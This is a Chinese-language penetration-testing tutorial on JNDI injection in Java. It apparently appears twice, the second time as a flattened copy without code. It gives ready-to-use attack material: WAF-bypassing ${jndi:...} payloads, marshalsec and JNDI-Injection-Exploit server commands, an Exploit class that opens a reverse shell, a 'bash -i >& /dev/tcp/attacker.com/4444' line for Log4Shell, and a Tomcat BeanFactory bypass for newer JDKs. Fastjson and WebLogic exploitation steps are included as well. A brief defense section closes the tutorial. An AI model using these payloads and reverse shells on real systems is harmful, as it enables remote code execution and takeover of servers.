Java漏洞在黑盒实战中的技巧——JNDI注入篇
字数 2485 2025-08-29 08:29:42

JNDI注入漏洞实战指南

一、JNDI注入原理

JNDI(Java Naming and Directory Interface)是Java提供的统一资源访问接口,支持通过名称(如ldap://example.com/obj)动态加载远程对象。当攻击者能控制JNDI的查找地址(如输入参数被拼接到InitialContext.lookup()中)时,可指向恶意服务器地址,触发目标加载远程恶意类(如.class.jar),最终实现RCE。

关键依赖条件

  • 目标应用使用低版本Java(JDK ≤ 8u191/11.0.1/7u201/6u211,这些版本未默认关闭远程类加载)
  • 存在未过滤的输入点传递给JNDI接口(如日志打印、参数解析等)

二、黑盒发现JNDI注入漏洞

1. 识别潜在输入点

  • HTTP参数/Headers/Cookie:例如username=${jndi:ldap://xxx}
  • 文件上传/下载功能:文件名、文件内容中嵌入JNDI Payload
  • API接口:JSON/XML数据中的字段(如用户注册信息、订单信息)
  • 日志上下文:如User-Agent、Referer等可能被Log4j2记录的位置

2. 构造探测Payload

基础Payload

  • DNSLog回显验证:${jndi:ldap://${sys:java.version}.xxx.dnslog.cn}
  • RMI协议验证:${jndi:rmi://attacker.com:1099/exploit}

绕过WAF的变形

  • 大小写混淆:${${lower:j}ndi:ldap://xxx}
  • URL解析特性:${jndi:ldap://127.0.0.1#.xxx.dnslog.cn}
  • Base64编码:${jndi:ldap://127.0.0.1:1234/Basic/Command/Base64/[base64-encoded-cmd]}

3. 使用工具辅助验证

  • DNSLog平台:生成临时域名(如ceye.iodnslog.cn),观察DNS请求记录
  • Burp Collaborator:生成Collaborator地址替换到Payload中,检查HTTP/DNS交互

三、JNDI注入利用步骤

1. 环境准备

恶意服务器搭建

使用工具快速启动LDAP/RMI恶意服务:

# 使用marshalsec工具
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://attacker.com/#ExploitClass"

# 使用JNDI-Injection-Exploit工具
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvOTAwMSAwPiYx}|{base64,-d}|{bash,-i}" -A 127.0.0.1

恶意类文件托管

在Web服务器上托管恶意.class.jar文件:

python -m http.server 8080

2. 生成恶意Payload

简单命令执行

${jndi:ldap://attacker.com:1389/Exploit}

反弹Shell(需编码绕过特殊字符)

public class Exploit {
    static {
        try {
            Runtime.getRuntime().exec("bash -c {echo,<base64-encoded-cmd>}|{base64,-d}|{bash,-i}");
        } catch (Exception e) {}
    }
}

3. 触发漏洞

将构造的Payload发送到目标输入点(如HTTP请求参数、文件上传等),观察恶意服务器日志确认目标是否请求了恶意类文件:

[LDAP] Send LDAP reference result for Exploit redirecting to http://attacker.com/Exploit.class

4. 绕过限制

高版本Java利用(JDK > 8u191)

  • 利用本地类(如Tomcat ELProcessor、Groovy等)进行二次攻击

上下文限制

  • 分块传输
  • 编码混淆(如Unicode、Hex)

四、典型案例分析

1. Fastjson反序列化漏洞中的JNDI注入

漏洞原理

Fastjson 1.2.24及以下版本的反序列化功能存在缺陷,攻击者可通过@type属性指定恶意类(如com.sun.rowset.JdbcRowSetImpl),触发setDataSourceName()setAutoCommit()方法,进而通过JNDI加载远程恶意类实现RCE。

利用步骤

  1. 构造恶意RMI服务:
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://attacker.com/#Exploit
  1. 托管恶意类
  2. 发送构造的JSON Payload至目标Fastjson反序列化接口

绕过WAF技巧

  • 编码混淆:如%6a%6e%64%69代替jndi
  • 分块传输

2. Log4j2的Log4Shell漏洞(CVE-2021-44228)

漏洞原理

Log4j2在记录日志时,若日志内容包含${jndi:ldap://...}格式的字符串,会触发JNDI解析,动态加载远程恶意类。

利用步骤

  1. 注入到HTTP请求头:
GET / HTTP/1.1
User-Agent: ${jndi:ldap://attacker.com:1389/Exploit}
  1. 搭建LDAP服务:
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -i >& /dev/tcp/attacker.com/4444 0>&1" -A attacker.com

绕过WAF技巧

  • 协议切换:ldap://dns://rmi://混合
  • 嵌套表达式:如${${lower:j}ndi:ldap://...}

3. Oracle WebLogic JNDI注入(CVE-2024-20931)

漏洞原理

WebLogic未对JNDI查找接口的输入进行过滤,攻击者可控制lookup()参数,通过LDAP协议加载远程恶意类。

复现步骤

  1. 启动漏洞环境:
docker run -dit -p 7001:7001 ismaleiva90/weblogic12
  1. 生成Base64编码的反弹Shell命令
  2. 启动JNDI注入工具

4. Tomcat BeanFactory绕过JDK高版本限制

漏洞背景

JDK 8u191及以上版本默认禁用远程类加载,但可通过Tomcat的BeanFactory类实现绕过。

利用流程

  1. 服务端构造恶意Reference:
ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, true);
ref.add(new StringRefAddr("forceString", "x=eval"));
ref.add(new StringRefAddr("x", "Runtime.getRuntime().exec(\"calc\")"));
ReferenceWrapper wrapper = new ReferenceWrapper(ref);
registry.bind("calc", wrapper);
  1. 客户端调用lookup("rmi://attacker.com:1099/calc")

五、防御建议

  1. 升级依赖

    • 升级Log4j2到≥2.17.1,设置log4j2.formatMsgNoLookups=true
  2. 代码层面

    • 避免将用户输入直接传递给InitialContext.lookup()
  3. 环境加固

    • 使用JDK ≥ 8u191/11.0.1
    • 设置com.sun.jndi.ldap.object.trustURLCodebase=false
  4. WAF规则

    • 拦截包含${jndi:$%7Bjndi:等模式的请求

六、总结

  • 发现重点:寻找所有可能的输入点,通过DNSLog快速验证漏洞存在
  • 利用难点:绕过高版本JDK限制(需结合其他漏洞链)
  • 实战技巧:善用工具(如marshalsec、JNDI-Injection-Exploit)和混淆技术,优先在测试环境中验证Payload
JNDI注入漏洞实战指南 一、JNDI注入原理 JNDI(Java Naming and Directory Interface)是Java提供的统一资源访问接口,支持通过名称(如 ldap://example.com/obj )动态加载远程对象。当攻击者能控制JNDI的查找地址(如输入参数被拼接到 InitialContext.lookup() 中)时,可指向恶意服务器地址,触发目标加载远程恶意类(如 .class 或 .jar ),最终实现RCE。 关键依赖条件 目标应用使用低版本Java(JDK ≤ 8u191/11.0.1/7u201/6u211,这些版本未默认关闭远程类加载) 存在未过滤的输入点传递给JNDI接口(如日志打印、参数解析等) 二、黑盒发现JNDI注入漏洞 1. 识别潜在输入点 HTTP参数/Headers/Cookie :例如 username=${jndi:ldap://xxx} 文件上传/下载功能 :文件名、文件内容中嵌入JNDI Payload API接口 :JSON/XML数据中的字段(如用户注册信息、订单信息) 日志上下文 :如User-Agent、Referer等可能被Log4j2记录的位置 2. 构造探测Payload 基础Payload DNSLog回显验证: ${jndi:ldap://${sys:java.version}.xxx.dnslog.cn} RMI协议验证: ${jndi:rmi://attacker.com:1099/exploit} 绕过WAF的变形 大小写混淆: ${${lower:j}ndi:ldap://xxx} URL解析特性: ${jndi:ldap://127.0.0.1#.xxx.dnslog.cn} Base64编码: ${jndi:ldap://127.0.0.1:1234/Basic/Command/Base64/[base64-encoded-cmd]} 3. 使用工具辅助验证 DNSLog平台 :生成临时域名(如 ceye.io 、 dnslog.cn ),观察DNS请求记录 Burp Collaborator :生成Collaborator地址替换到Payload中,检查HTTP/DNS交互 三、JNDI注入利用步骤 1. 环境准备 恶意服务器搭建 使用工具快速启动LDAP/RMI恶意服务: 恶意类文件托管 在Web服务器上托管恶意 .class 或 .jar 文件: 2. 生成恶意Payload 简单命令执行 ${jndi:ldap://attacker.com:1389/Exploit} 反弹Shell(需编码绕过特殊字符) 3. 触发漏洞 将构造的Payload发送到目标输入点(如HTTP请求参数、文件上传等),观察恶意服务器日志确认目标是否请求了恶意类文件: 4. 绕过限制 高版本Java利用(JDK > 8u191) 利用本地类(如Tomcat ELProcessor、Groovy等)进行二次攻击 上下文限制 分块传输 编码混淆(如Unicode、Hex) 四、典型案例分析 1. Fastjson反序列化漏洞中的JNDI注入 漏洞原理 Fastjson 1.2.24及以下版本的反序列化功能存在缺陷,攻击者可通过 @type 属性指定恶意类(如 com.sun.rowset.JdbcRowSetImpl ),触发 setDataSourceName() 和 setAutoCommit() 方法,进而通过JNDI加载远程恶意类实现RCE。 利用步骤 构造恶意RMI服务: 托管恶意类 发送构造的JSON Payload至目标Fastjson反序列化接口 绕过WAF技巧 编码混淆:如 %6a%6e%64%69 代替 jndi 分块传输 2. Log4j2的Log4Shell漏洞(CVE-2021-44228) 漏洞原理 Log4j2在记录日志时,若日志内容包含 ${jndi:ldap://...} 格式的字符串,会触发JNDI解析,动态加载远程恶意类。 利用步骤 注入到HTTP请求头: 搭建LDAP服务: 绕过WAF技巧 协议切换: ldap:// 、 dns:// 或 rmi:// 混合 嵌套表达式:如 ${${lower:j}ndi:ldap://...} 3. Oracle WebLogic JNDI注入(CVE-2024-20931) 漏洞原理 WebLogic未对JNDI查找接口的输入进行过滤,攻击者可控制 lookup() 参数,通过LDAP协议加载远程恶意类。 复现步骤 启动漏洞环境: 生成Base64编码的反弹Shell命令 启动JNDI注入工具 4. Tomcat BeanFactory绕过JDK高版本限制 漏洞背景 JDK 8u191及以上版本默认禁用远程类加载,但可通过Tomcat的 BeanFactory 类实现绕过。 利用流程 服务端构造恶意Reference: 客户端调用 lookup("rmi://attacker.com:1099/calc") 五、防御建议 升级依赖 : 升级Log4j2到≥2.17.1,设置 log4j2.formatMsgNoLookups=true 代码层面 : 避免将用户输入直接传递给 InitialContext.lookup() 环境加固 : 使用JDK ≥ 8u191/11.0.1 设置 com.sun.jndi.ldap.object.trustURLCodebase=false WAF规则 : 拦截包含 ${jndi: 、 $%7Bjndi: 等模式的请求 六、总结 发现重点 :寻找所有可能的输入点,通过DNSLog快速验证漏洞存在 利用难点 :绕过高版本JDK限制(需结合其他漏洞链) 实战技巧 :善用工具(如marshalsec、JNDI-Injection-Exploit)和混淆技术,优先在测试环境中验证Payload